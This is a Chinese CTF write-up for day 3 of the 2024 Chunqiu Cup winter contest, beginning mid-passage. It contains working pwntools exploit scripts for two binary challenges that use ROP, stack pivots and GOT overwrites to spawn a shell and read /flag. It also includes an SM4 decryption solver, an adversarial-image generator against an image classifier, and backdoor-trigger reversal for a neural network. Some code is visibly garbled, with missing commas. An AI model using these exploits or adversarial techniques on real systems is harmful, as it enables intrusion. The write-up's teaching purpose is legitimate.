                        7, 0x201, 3, 0x3601, 0x0E001, 0xA, 0x1b601, 9, 2, 2, 2,
                        7, 0x105, 0x06E01, 0x0EA01, 0xA, 0x1b601, 9, 2, 2, 2, 
                        7, 0x205, 0x0DC01, 0x0F401, 0xA, 0x1b601, 9, 2, 2, 2, 
                        7, 0x305, 0x31001, 0x0FE01, 0xA, 0x1b601, 9, 2, 2, 2, 
                        7, 0x805, 0x101, 4, 0x2D0101, 0x10A01, 0x0A, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x201, 4, 0x620201, 0x11601, 0x0A, 0x1b601, 9, 2, 2, 2,
                        7, 0x805, 0x301, 4, 0x630301, 0x12201, 0x0A, 0x1b601, 9, 2, 2, 2,
                        7, 0x105, 0x0CA01, 0x12C01, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x205, 0x18401, 0x13601, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x305, 0x18001, 0x14001, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x305, 0x33001, 0x14A01, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x205, 0x0c801, 0x15401, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x105, 0x06601, 0x15e01, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x305, 0x18001, 0x16901, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x205, 0x19401, 0x17301, 0x0A, 0x1b601, 9, 2, 2, 2,
                        7, 0x305, 0x18001, 0x17d01, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x205, 0x19401, 0x18701, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        7, 0x105, 0x0FA01, 0x19201, 0x0A, 0x1b601, 9, 2, 2, 2, 
                        0x4301, 8, 0x6F01, 8,
                        0x6E01, 8, 0x6701, 8, 0x7201, 8, 0x6101, 8, 0x7401, 8, 0x7501,
                        8, 0x6C01, 8, 0x6101, 8, 0x7401, 8, 0x6901, 8, 0x6F01, 8,
                        0x6E01, 8, 0x7301, 8, 0x2101, 8, 0x0A01, 8, 0x0C, 0x5401,
                        8, 0x7201, 8, 0x7901, 8, 0x2C01, 8, 0x4101, 8, 0x6701, 8,
                        0x6101, 8, 0x6901, 8, 0x6E01, 8, 0x2101, 8, 0x0A01, 8, 0x0C]

并且可以分析出来各个函数对应的功能

这里有个小坑(防止直接读函数名硬猜),vm_and函数的实际功能是异或

接着分析opcode与各个函数对应的关系 即可手搓出解题脚本

print(chr(0x67-1),end='')
print(chr(0x6e-2),end='')
print(chr(0x64-3),end='')
print(chr(0x68-1),end='')
print(chr(0x7d-2),end='')
print(chr(0x35-3),end='')
print(chr((0x3201 | 1) >> 8),end='')
print(chr((0x3200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6600 | 2) >> 8),end='')
print(chr((0x3200 | 3) >> 8),end='')
print(chr(0x2e-1),end='')
print(chr(0x39-2),end='')
print(chr(0x34-3),end='')
print(chr(0x63-1),end='')
print(chr(0x38-2),end='')
print(chr(0x30-3),end='')
print(chr(0x36-2),end='')
print(chr((0x6e) >> 1),end='')
print(chr((0xdc) >> 2),end='')
print(chr((0x310) >> 3),end='')
print(chr((0x2d00 | 1) >> 8),end='')
print(chr((0x6200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0xca) >> 1),end='')
print(chr((0x184) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x330) >> 3),end='')
print(chr((0xc8) >> 2),end='')
print(chr((0x66) >> 1),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0xfa) >> 1),end='')

# flag{222cccf2-71b6-477b-bcea0f230e0e}
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

toys

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
  1. 题目就是很简单的栈溢出,但是发生在高版本libc中导致没有足够的gadget进行使用,所以这里需要进行栈迁移。并且题目中没有输出函数来输出我们输入的内容导致难以泄漏地址
  2. 但是很容易可以注意到这里的strlen函数就非常类似puts函数来使用,所以这里如果可以将strlen函数的got表中的内容修改为puts的plt表从而可以实现泄漏出其中的内容
  3. 但是实际操作会发现如果直接进行栈迁移到该got表位置会导致其他的内容被毁所以这里还需要将rsp给迁移到更高的地址,从而避免该内存中的重要内容不被修改
  4. 所以这里需要进行几次迁移,通过多次leave ret来保证我们在执行函数时rsp都处于高地址

最终可得exp

from pwn import *

elf = ELF('./pwn')
# r = process('./pwn')
r = remote('172.16.0.2'9999)
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'

leave_ret  = 0x00000000004012cd
fget_read  = 0x00401274
puts_plt   = 0x00401090
puts_addr  = 0x40128C
got_addr   = 0x00404000
strlen_got = 0x00404008

r.recvuntil(b'Data: ')
payload = flat(b'x00'*0x80, got_addr + 0x800, fget_read)
r.sendline(payload)

r.recvuntil(b'OK')
payload = flat(b'x00'*0x80, got_addr + 0x100, fget_read,
               strlen_got + 0x80, fget_read, strlen_got + 0x98, puts_addr, strlen_got + 0x700, fget_read)
r.sendline(payload)

# gdb.attach(r, 'b*0x004012cd')

r.recvuntil(b'OK')
payload = flat([0], got_addr + 0x820, leave_ret,[0], got_addr + 0x830, leave_ret)
payload = payload.ljust(0x80b'x00') + flat(got_addr + 0x810, leave_ret)
r.sendline(payload)

r.recvuntil(b'OK')
payload = flat(puts_plt)
r.sendline(payload)

# gdb.attach(r, 'b*0x004012cd')

r.recvuntil(b'OK!n')
libc_base = u64(r.recv(6).ljust(8b'x00')) - 0x88540
print(hex(libc_base))

system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + next(libc.search(asm("pop rdi; ret")))

r.recvuntil(b'OK!n')
payload = flat(b'x00' * 0x88, pop_rdi, bin_sh_addr, system_addr)
r.sendline(payload)

r.interactive()
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

和谐

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

writeup

使用 adb-decompiler 分析源码:

大概能分析出来是SM4,并且修改了密钥扩展部分。

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

直接写个脚本:

#include <stdio.h>

typedef unsigned long ull;
typedef unsigned int uint;
typedef unsigned char uchar;

static const uchar Sbox[16][16] = {
    {0xd60x900xe90xfe0xcc0xe10x3d0xb70x160xb60x140xc20x280xfb0x2c0x05},
    {0x2b0x670x9a0x760x2a0xbe0x040xc30xaa0x440x130x260x490x860x060x99},
    {0x9c0x420x500xf40x910xef0x980x7a0x330x540x0b0x430xed0xcf0xac0x62},
    {0xe40xb30x1c0xa90xc90x080xe80x950x800xdf0x940xfa0x750x8f0x3f0xa6},
    {0x470x070xa70xfc0xf30x730x170xba0x830x590x3c0x190xe60x850x4f0xa8},
    {0x680x6b0x810xb20x710x640xda0x8b0xf80xeb0x0f0x4b0x700x560x9d0x35},
    {0x1e0x240x0e0x5e0x630x580xd10xa20x250x220x7c0x3b0x010x210x780x87},
    {0xd40x000x460x570x9f0xd30x270x520x4c0x360x020xe70xa00xc40xc80x9e},
    {0xea0xbf0x8a0xd20x400xc70x380xb50xa30xf70xf20xce0xf90x610x150xa1},
    {0xe00xae0x5d0xa40x9b0x340x1a0x550xad0x930x320x300xf50x8c0xb10xe3},
    {0x1d0xf60xe20x2e0x820x660xca0x600xc00x290x230xab0x0d0x530x4e0x6f},
    {0xd50xdb0x370x450xde0xfd0x8e0x2f0x030xff0x6a0x720x6d0x6c0x5b0x51},
    {0x8d0x1b0xaf0x920xbb0xdd0xbc0x7f0x110xd90x5c0x410x1f0x100x5a0xd8},
    {0x0a0xc10x310x880xa50xcd0x7b0xbd0x2d0x740xd00x120xb80xe50xb40xb0},
    {0x890x690x970x4a0x0c0x960x770x7e0x650xb90xf10x090xc50x6e0xc60x84},
    {0x180xf00x7d0xec0x3a0xdc0x4d0x200x790xee0x5f0x3e0xd70xcb0x390x48}
};

ull leftShift(ull x, int n) {
    return (x << n) | (x >> (32 - n));
}

ull chr2int(uchar *chr) {
    return (chr[0] << 24) | (chr[1] << 16) | (chr[2] << 8) | chr[3];
}

void int2chr(uchar *chr, ull x) {
    chr[0] = (x >> 24) & 0xff;
    chr[1] = (x >> 16) & 0xff;
    chr[2] = (x >> 8) & 0xff;
    chr[3] = x & 0xff;
}

uint transSboxInt(uint temp)
{
 return Sbox[temp>>4][temp&0xf];
}

uint transSbox(uint temp) {
    uint output = 0;
    for (int i = 3; i > -1; i--) {
        output = output << 8;
        output = output | transSboxInt((temp >> (i * 8)) & 0xff);
    }
    return output;
}

uint keyTrans(uint temp) {
    return temp ^ leftShift(temp, 13) ^ leftShift(temp, 23);
}

uint trans(uint temp) {
    temp = transSbox(temp);
    return temp ^ leftShift(temp, 2) ^ leftShift(temp, 10) ^ leftShift(temp, 18) ^ leftShift(temp, 24);
}

void keyExtention_new(uchar K[32], uint RK[32]) {
    uint tk[36];
    for (int i = 0; i < 4; i++) {
        tk[i] = chr2int(K + 4 * i);
    }
    for (int i = 0; i < 32; i++) {
        tk[i + 4] = tk[i + 1] ^ tk[i + 2] ^ tk[i + 3];
        tk[i + 4] = transSbox(tk[i + 4]);
        tk[i + 4] = keyTrans(tk[i + 4]);
        tk[i + 4] = tk[i] ^ tk[i + 4];
        RK[i] = tk[i + 4];
    }
}

void sm4_encrypt_new(uchar *input, uchar *output, uchar *K) {
    uint RK[32];
    keyExtention_new(K, RK);
    uint X[36];
    for (int i = 0; i < 4; i++) {
        X[i] = chr2int(input + 4 * i);
    }
    for (int i = 0; i < 32; i++) {
        X[i + 4] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
        X[i + 4] = trans(X[i + 4]);
        X[i + 4] = X[i] ^ X[i + 4];
    }
    for (int i = 0; i < 4; i++) {
        output[4 * i] = (X[35 - i] >> 24) & 0xff;
        output[4 * i + 1] = (X[35 - i] >> 16) & 0xff;
        output[4 * i + 2] = (X[35 - i] >> 8) & 0xff;
        output[4 * i + 3] = X[35 - i] & 0xff;
    }
}

void sm4_decrypt_new(uchar *input, uchar *output, uchar *K) {
    uint RK[32];
    keyExtention_new(K, RK);
    uint X[36];
    for (int i = 0; i < 4; i++) {
        X[35 - i] = chr2int(input + 4 * i);
    }
    for (int i = 31; i >= 0; i--) {
        X[i] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
        X[i] = trans(X[i]);
        X[i] = X[i + 4] ^ X[i];
    }
    for (int i = 0; i < 4; i++) {
        output[4 * i] = (X[i] >> 24) & 0xff;
        output[4 * i + 1] = (X[i] >> 16) & 0xff;
        output[4 * i + 2] = (X[i] >> 8) & 0xff;
        output[4 * i + 3] = X[i] & 0xff;
    }
}


int main() {
    uchar key[16] = {0xd60x900xe90xfe0xcc0xe10x3d0xb70x160xb60x140xc20x280xfb0x2c0x05};
    uchar output[48] = {
        241387664151159653339097156210582235,
        7724024190841791853415811918518912010613138,
        176825512723411218151829725170100201253150,
    };
    uchar input[48] = {0};
    for (int i = 0; i < 48; i++) {
        output[i] = Sbox[output[i] / 16][output[i] % 16];
    }
    uchar output2[48] = {0};
    for (int j = 0; j < 3; j++)
    {
        sm4_decrypt_new(output + j * 16, output2 + j * 16, key);
        for (int i = 0; i < 16; i++) {
            printf("%c", output2[j * 16 + i]);
        }
    }
    printf("n");
    return 0;
}

最后一串0是加密加上去的,需要去掉。

flag{4b4afff3-887b-47af-832f-3dcd6f1cfa89}

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

rogue_like

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

题目非常新颖,一共设置了三个关卡。

对于第一关,选手可以选择如下漏洞利用:

  • 指定libc地址写8字节0
  • 指定libc地址写1字节任意值
  • 查看/proc/self/maps,获得大部分地址

对于第二关,选手可以选择如下漏洞利用:

  • 增加指定地址上的值,最多为5
  • 增加指定地址上指向的值,最多为5
  • 无用功能

对于第三关,选手可以选择如下漏洞利用:

  • 栈溢出0x20字节,但同时会close(0)
  • 通过write输出栈上大量内容,但不存在栈溢出
  • 栈溢出rbp一字节为0,但能够read两次

在第三关开始时,程序还会close(1),防止输出任何内容。

先说预期解:

  • 通过第一关选择偏移将tls中的canary置零
  • 通过第二关选择指定地址+5,这里选择将alarm偏移获得syscall
  • 通过第三关选择栈上的off-by-null进行利用,从而rop获得shell

注意,题目有多处可以leak的打法,但本题由于需要进行漏洞的组合利用,选择leak后,则无法组合出可以获得shell的利用链。

例如,第一关可以选择查看/proc/self/maps,但如此便无法覆盖canary0,无法通过栈溢出利用。

又例如,第三关输出内容时会因为close(1)的缘故,无法获得内容。

选手需要对栈上知识点进行综合利用。由于canary保护开启,且最后第三关一定为栈溢出,则选手需要思考如下内容:

  • canary 的绕过方法
  • gadget 的寻找

通过如上思考,可知第一关一定选择tlscanary置零(不然没有别的办法栈溢出);第二关一定选择alarmgot+5,从而获得syscallgadget;第三关一定选择两次readoff-by-null的栈溢出,从而能够控制rax

最后,选手应该通过如下方式完成系统调用:

  • rax:通过read控制
  • rdi:通过程序gadgetpop rdi; ret获得
  • rsi:同上
  • rdx:同上
  • syscall:通过alarm+5获得
  • /bin/sh:通过程序内字符串的偏移获得

最终的exp如下:

from pwn import *

filename = './attachment'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux''neww']
local = 0
all_logs = []
# elf = ELF(filename)
# libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('101.200.198.105'20689)

def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid, params)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

def weapon(index):
    sh.sendafter('> ''1')
    time.sleep(1)
    sh.sendafter('To achive your, your DrEaM🥹..!?n', str(index))
    time.sleep(1)
    
def bless(count, addr):
    sh.sendafter('> ''2')
    time.sleep(1)
    sh.sendafter('> ', str(count))
    time.sleep(1)
    sh.sendafter('> ', str(addr))
    time.sleep(1)

def challenge(content1, content2):
    sh.sendafter('> ''3')
    time.sleep(1)
    sh.send(content1)
    time.sleep(1)
    sh.send(content2)
    time.sleep(1)

ret = 0x04007fe
pop_rdi = 0x4013f4
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
bin_sh = 0x4019D7
syscall = 0x602058

weapon(-0x2b18)
bless('5', syscall)

payload1 = p64(ret)*0x16
rop_chain = p64(pop_rdi) + p64(bin_sh)
rop_chain += p64(pop_rsi) + p64(0)
rop_chain += p64(pop_rdx) + p64(0)
rop_chain += p64(pop_rsp) + p64(syscall)

payload1 = payload1 + rop_chain
payload1 = payload1.ljust(0x100b'x00')

payload2 = b'a'*0x3b
challenge(payload1, payload2)

sh.sendline('exec 1>& 0')
time.sleep(1)
sh.sendline('cat /flag')
sh.interactive()
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

FlagBot

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
  1. 通过修改发送的数据包,导致flask报错,得到模型文件名
  2. 下载模型文件
  3. 使用得到的模型文件,以及文件名,制作对抗样本
from PIL import Image
from io import BytesIO
import torch
from torch import nn
from torchvision import transforms
from PIL import Image
import werkzeug.exceptions

class AlexNet(nn.Module):
    def __init__(self, num_classes: int = 1000, dropout: float = 0.5) -> None:
        super().__init__()
        self.features = nn.Sequential(
            nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),
            nn.ReLU(inplace=True),
            nn.MaxPool2d(kernel_size=3, stride=2),
            nn.Conv2d(64, 192, kernel_size=5, padding=2),
            nn.ReLU(inplace=True),
            nn.MaxPool2d(kernel_size=3, stride=2),
            nn.Conv2d(192, 384, kernel_size=3, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(384, 256, kernel_size=3, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(256, 256, kernel_size=3, padding=1),
            nn.ReLU(inplace=True),
            nn.MaxPool2d(kernel_size=3, stride=2),
        )
        self.avgpool = nn.AdaptiveAvgPool2d((6, 6))
        self.classifier = nn.Sequential(
            nn.Dropout(p=dropout),
            nn.Linear(256 * 6 * 6, 4096),
            nn.ReLU(inplace=True),
            nn.Dropout(p=dropout),
            nn.Linear(4096, 4096),
            nn.ReLU(inplace=True),
            nn.Linear(4096, num_classes),
        )

    def forward(self, x: torch.Tensor) -> torch.Tensor:
        x = self.features(x)
        x = self.avgpool(x)
        x = torch.flatten(x, 1)
        x = self.classifier(x)
        return x


model = AlexNet(num_classes=2)
model.load_state_dict(torch.load('model_AlexNet.pth', map_location=torch.device('cpu'), weights_only=True))
model.eval()

image = torch.randint(0, 2, (1, 1, 300, 600)) / 1.0
image = torch.cat([image, image, image], dim=1)
criterion = nn.CrossEntropyLoss()

for _ in range(100000):
    
    image.requires_grad = True
    pred = model(image)
    loss = criterion(pred, torch.tensor([1], dtype=torch.long))
    loss.backward()
    print(loss.item())

    image.requires_grad = False
    grad = torch.sum(image.grad, dim=1, keepdim=True)

    for x in range(300):
        for y in range(600):
            if grad[0, 0, x, y] > 0:
                image[0, :, x, y] = 0.
            else:
                image[0, :, x, y] = 1.

    transforms.ToPILImage()(image[0].detach().cpu()).save('flag.png')

将图片base64编码后发送即可。

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

backdoor

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

主要考察的知识点是神经网络图像领域的后门攻击,目标是找出带后门的神经网络模型被污染的标签(target),并推演出攻击者留下后门时所使用的mask和trigger(也可以叫pattern)

相关算法有很多,可以参考复现这篇论文的算法:Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks

详细信息:

{B. Wang et al., "Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks," 2019 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2019, pp. 707-723, doi: 10.1109/SP.2019.00031.}

Github代码地址:https://github.com/bolunwang/backdoor

由于代码量较大,且涉及很多数据处理的代码,这里只放核心算法:

    def visualize(self, gen, y_target, pattern_init, mask_init):

        # since we use a single optimizer repeatedly, we need to reset
        # optimzier's internal states before running the optimization
        self.reset_state(pattern_init, mask_init)

        # best optimization results
        mask_best = None
        mask_upsample_best = None
        pattern_best = None
        reg_best = float('inf')

        # logs and counters for adjusting balance cost
        logs = []
        cost_set_counter = 0
        cost_up_counter = 0
        cost_down_counter = 0
        cost_up_flag = False
        cost_down_flag = False

        # counter for early stop
        early_stop_counter = 0
        early_stop_reg_best = reg_best

        # vectorized target
        Y_target = to_categorical([y_target] * self.batch_size,
                                  self.num_classes)

        # loop start
        for step in range(self.steps):

            # record loss for all mini-batches
            loss_ce_list = []
            loss_reg_list = []
            loss_list = []
            loss_acc_list = []
            for idx in range(self.mini_batch):
                X_batch, _ = gen.next()
                if X_batch.shape[0] != Y_target.shape[0]:
                    Y_target = to_categorical([y_target] * X_batch.shape[0],
                                              self.num_classes)
                (loss_ce_value,
                    loss_reg_value,
                    loss_value,
                    loss_acc_value) = self.train([X_batch, Y_target])
                loss_ce_list.extend(list(loss_ce_value.flatten()))
                loss_reg_list.extend(list(loss_reg_value.flatten()))
                loss_list.extend(list(loss_value.flatten()))
                loss_acc_list.extend(list(loss_acc_value.flatten()))

            avg_loss_ce = np.mean(loss_ce_list)
            avg_loss_reg = np.mean(loss_reg_list)
            avg_loss = np.mean(loss_list)
            avg_loss_acc = np.mean(loss_acc_list)

            # check to save best mask or not
            if avg_loss_acc >= self.attack_succ_threshold and avg_loss_reg < reg_best:
                mask_best = K.eval(self.mask_tensor)
                mask_best = mask_best[0, ..., 0]
                mask_upsample_best = K.eval(self.mask_upsample_tensor)
                mask_upsample_best = mask_upsample_best[0, ..., 0]
                pattern_best = K.eval(self.pattern_raw_tensor)
                reg_best = avg_loss_reg

            # verbose
            if self.verbose != 0:
                if self.verbose == 2 or step % (self.steps // 10) == 0:
                    print('step: %3d, cost: %.2E, attack: %.3f, loss: %f, ce: %f, reg: %f, reg_best: %f' %
                          (step, Decimal(self.cost), avg_loss_acc, avg_loss,
                           avg_loss_ce, avg_loss_reg, reg_best))

            # save log
            logs.append((step,
                         avg_loss_ce, avg_loss_reg, avg_loss, avg_loss_acc,
                         reg_best, self.cost))

            # check early stop
            if self.early_stop:
                # only terminate if a valid attack has been found
                if reg_best < float('inf'):
                    if reg_best >= self.early_stop_threshold * early_stop_reg_best:
                        early_stop_counter += 1
                    else:
                        early_stop_counter = 0
                early_stop_reg_best = min(reg_best, early_stop_reg_best)

                if (cost_down_flag and
                        cost_up_flag and
                        early_stop_counter >= self.early_stop_patience):
                    print('early stop')
                    break

            # check cost modification
            if self.cost == 0 and avg_loss_acc >= self.attack_succ_threshold:
                cost_set_counter += 1
                if cost_set_counter >= self.patience:
                    self.cost = self.init_cost
                    K.set_value(self.cost_tensor, self.cost)
                    cost_up_counter = 0
                    cost_down_counter = 0
                    cost_up_flag = False
                    cost_down_flag = False
                    print('initialize cost to %.2E' % Decimal(self.cost))
            else:
                cost_set_counter = 0

            if avg_loss_acc >= self.attack_succ_threshold:
                cost_up_counter += 1
                cost_down_counter = 0
            else:
                cost_up_counter = 0
                cost_down_counter += 1

            if cost_up_counter >= self.patience:
                cost_up_counter = 0
                if self.verbose == 2:
                    print('up cost from %.2E to %.2E' %
                          (Decimal(self.cost),
                           Decimal(self.cost * self.cost_multiplier_up)))
                self.cost *= self.cost_multiplier_up
                K.set_value(self.cost_tensor, self.cost)
                cost_up_flag = True
            elif cost_down_counter >= self.patience:
                cost_down_counter = 0
                if self.verbose == 2:
                    print('down cost from %.2E to %.2E' %
                          (Decimal(self.cost),
                           Decimal(self.cost / self.cost_multiplier_down)))
                self.cost /= self.cost_multiplier_down
                K.set_value(self.cost_tensor, self.cost)
                cost_down_flag = True

            if self.save_tmp:
                self.save_tmp_func(step)

        # save the final version
        if mask_best is None or self.save_last:
            mask_best = K.eval(self.mask_tensor)
            mask_best = mask_best[0, ..., 0]
            mask_upsample_best = K.eval(self.mask_upsample_tensor)
            mask_upsample_best = mask_upsample_best[0, ..., 0]
            pattern_best = K.eval(self.pattern_raw_tensor)

        if self.return_logs:
            return pattern_best, mask_best, mask_upsample_best, logs
        else:
            return pattern_best, mask_best, mask_upsample_best

详细代码已放置于解题文件夹中,根据model参数文件和提示的target_list调整代码,并运行"./解题/gtsrb_visualize_example.py",对测试标签列表逐个进行trigger逆向。

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

直接down下来的代码不能直接使用,还需要选手具备神经网络、keras、tensorflow框架相关知识把代码调通,本wp处提供的代码可以直接运行。

跑完之后,比对各个标签的输出信息(我这里自己额外保存了日志文件),会发现label 8的mask norm是最小的,它对应生成的后门mask和pattern最接近真实的后门:春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

生成出来的mask和pattern图片如下:

mask.png:

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

pattern.png:

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

然后执行exp脚本把这两张图base64编码后发送到服务器,通过校验,返回flag:

exp.py

import base64
import requests

# 读取图片并转换为base64编码
def image_to_base64(image_path):
    with open(image_path, "rb"as image_file:
        return base64.b64encode(image_file.read()).decode('utf-8')

# 图片路径
mask_image_path = './results/gtsrb_visualize_mask_label_8.png'
pattern_image_path = './results/gtsrb_visualize_pattern_label_8.png'

# 获取两张图片的base64编码
mask_base64 = image_to_base64(mask_image_path)
pattern_base64 = image_to_base64(pattern_image_path)

# 发送POST请求,将base64编码的图片传给服务端
url = 'http://127.0.0.1:5000/upload'  # 服务端地址
data = {
    'mask': mask_base64,
    'pattern': pattern_base64
}
response = requests.post(url, json=data)

print(response.text)

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

相关阅读

春秋杯WP | 2024春秋杯冬季赛第一天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

原文始发于微信公众号(春秋伽玛):春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日08:44:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析https://cn-sec.com/archives/3648062.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息